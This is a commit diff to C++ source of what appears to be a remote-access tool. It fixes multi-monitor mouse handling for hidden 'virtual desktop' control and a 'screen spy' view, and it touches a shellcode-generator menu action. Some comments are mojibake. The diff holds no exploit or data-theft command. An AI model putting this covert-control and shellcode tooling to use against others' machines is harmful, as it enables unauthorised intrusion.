fix: Virtual desktop control support multiple monitor

This commit is contained in:
yuanyuanxiang
2025-08-03 18:12:05 +08:00
parent f95d30e0e6
commit cf03de5bc9
4 changed files with 41 additions and 39 deletions

View File

@@ -433,23 +433,32 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
case WM_KEYUP: case WM_KEYUP:
return; return;
case WM_CHAR: case WM_CHAR:
case WM_KEYDOWN: { case WM_KEYDOWN: {
m_point = m_lastPoint; m_point = m_lastPoint;
hWnd = WindowFromPoint(m_point); hWnd = WindowFromPoint(m_point);
break; break;
} }
case WM_RBUTTONDOWN: { default:
{
msg->pt = { LOWORD(msg->lParam), HIWORD(msg->lParam) };
m_ScreenSpyObject->PointConversion(msg->pt);
msg->lParam = MAKELPARAM(msg->pt.x, msg->pt.y);
mouseMsg = TRUE;
m_point = msg->pt;
hWnd = WindowFromPoint(m_point);
lastPointCopy = m_lastPoint;
m_lastPoint = m_point;
if (msg->message == WM_RBUTTONDOWN) {
// <20><>¼<EFBFBD>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20><>¼<EFBFBD>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_rmouseDown = TRUE; m_rmouseDown = TRUE;
m_rclickPoint = msg->pt; m_rclickPoint = msg->pt;
break;
} }
case WM_RBUTTONUP: { else if (msg->message == WM_RBUTTONUP) {
m_rmouseDown = FALSE; m_rmouseDown = FALSE;
m_rclickWnd = WindowFromPoint(m_rclickPoint); m_rclickWnd = WindowFromPoint(m_rclickPoint);
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊϵͳ<CFB5>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊϵͳ<CFB5>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char szClass[256]; char szClass[256] = {};
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass)); GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(hWnd).c_str(), hWnd); Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(hWnd).c_str(), hWnd);
if (strcmp(szClass, "Shell_TrayWnd") == 0) { if (strcmp(szClass, "Shell_TrayWnd") == 0) {
@@ -468,16 +477,8 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0); keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
} }
} }
break;
} }
default: else if (msg->message == WM_LBUTTONUP) {
{
mouseMsg = TRUE;
m_point = msg->pt;
hWnd = WindowFromPoint(m_point);
lastPointCopy = m_lastPoint;
m_lastPoint = m_point;
if (msg->message == WM_LBUTTONUP) {
if (m_rclickWnd && hWnd != m_rclickWnd) if (m_rclickWnd && hWnd != m_rclickWnd)
{ {
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0); PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);

View File

@@ -22,10 +22,10 @@ public:
void Create(HDC desktop, int _x, int _y, int w, int h) { void Create(HDC desktop, int _x, int _y, int w, int h) {
x = _x; x = _x;
y = _y; y = _y;
width = w; width = GetSystemMetrics(SM_CXVIRTUALSCREEN);
height = h; height = GetSystemMetrics(SM_CYVIRTUALSCREEN);
hDcWindow = CreateCompatibleDC(desktop); hDcWindow = CreateCompatibleDC(desktop);
hBmpWindow = CreateCompatibleBitmap(desktop, w, h); hBmpWindow = CreateCompatibleBitmap(desktop, width, height);
} }
EnumHwndsPrintData& SetScreenDC(HDC dc) { EnumHwndsPrintData& SetScreenDC(HDC dc) {
hDcScreen = dc; hDcScreen = dc;
@@ -154,7 +154,7 @@ public:
static BOOL CALLBACK EnumHwndsPrint(HWND hWnd, LPARAM lParam) static BOOL CALLBACK EnumHwndsPrint(HWND hWnd, LPARAM lParam)
{ {
AUTO_TICK_C(50); AUTO_TICK_C(100);
if (FALSE == PaintWindow(hWnd, (EnumHwndsPrintData*)lParam)) { if (FALSE == PaintWindow(hWnd, (EnumHwndsPrintData*)lParam)) {
char text[_MAX_PATH] = {}; char text[_MAX_PATH] = {};
GetWindowText(hWnd, text, sizeof(text)); GetWindowText(hWnd, text, sizeof(text));

View File

@@ -3114,7 +3114,8 @@ void CMy2015RemoteDlg::OnToolGenShellcode()
_tcscpy_s(buffer, name); _tcscpy_s(buffer, name);
PathRemoveExtension(buffer); PathRemoveExtension(buffer);
if (WriteBinaryAsCArray(CString(buffer) + ".c", srcData, srcLen, "Shellcode")) { if (WriteBinaryAsCArray(CString(buffer) + ".c", srcData, srcLen, "Shellcode")) {
MessageBox("Shellcode 生成成功! \r\n" + CString(buffer) + ".c", "提示", MB_ICONINFORMATION); MessageBox("Shellcode 生成成功! 请自行编写调用程序。\r\n" + CString(buffer) + ".c",
"提示", MB_ICONINFORMATION);
} }
} }
SAFE_DELETE_ARRAY(srcData); SAFE_DELETE_ARRAY(srcData);

View File

@@ -168,7 +168,7 @@ BOOL CScreenSpyDlg::OnInitDialog()
SysMenu->AppendMenu(MF_SEPARATOR); SysMenu->AppendMenu(MF_SEPARATOR);
} }
m_bIsCtrl = FALSE; //不是控制 m_bIsCtrl = THIS_CFG.GetInt("settings", "DXGI") == USING_VIRTUAL;
m_bIsTraceCursor = FALSE; //不是跟踪 m_bIsTraceCursor = FALSE; //不是跟踪
m_ClientCursorPos.x = 0; m_ClientCursorPos.x = 0;
m_ClientCursorPos.y = 0; m_ClientCursorPos.y = 0;